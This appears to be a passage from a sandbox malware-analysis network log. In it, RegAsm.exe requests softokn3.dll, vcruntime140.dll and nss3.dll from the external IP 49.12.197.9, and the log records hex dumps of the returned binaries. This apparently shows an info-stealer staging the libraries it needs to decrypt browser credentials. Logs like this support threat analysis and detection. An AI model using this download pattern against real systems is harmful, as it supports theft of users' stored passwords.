2024-10-02 15:16:49 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-10-02 15:16:49 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	65245	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:49 UTC	196	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:50 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:50 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:50 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:50 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-10-02 15:16:51 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	65246	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:52 UTC	200	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:52 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:52 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:52 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:52 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-10-02 15:16:52 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-10-02 15:16:52 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-10-02 15:16:52 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-10-02 15:16:52 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	65247	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:53 UTC	192	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:53 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:53 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:53 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:53 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-10-02 15:16:53 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-10-02 15:16:53 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: 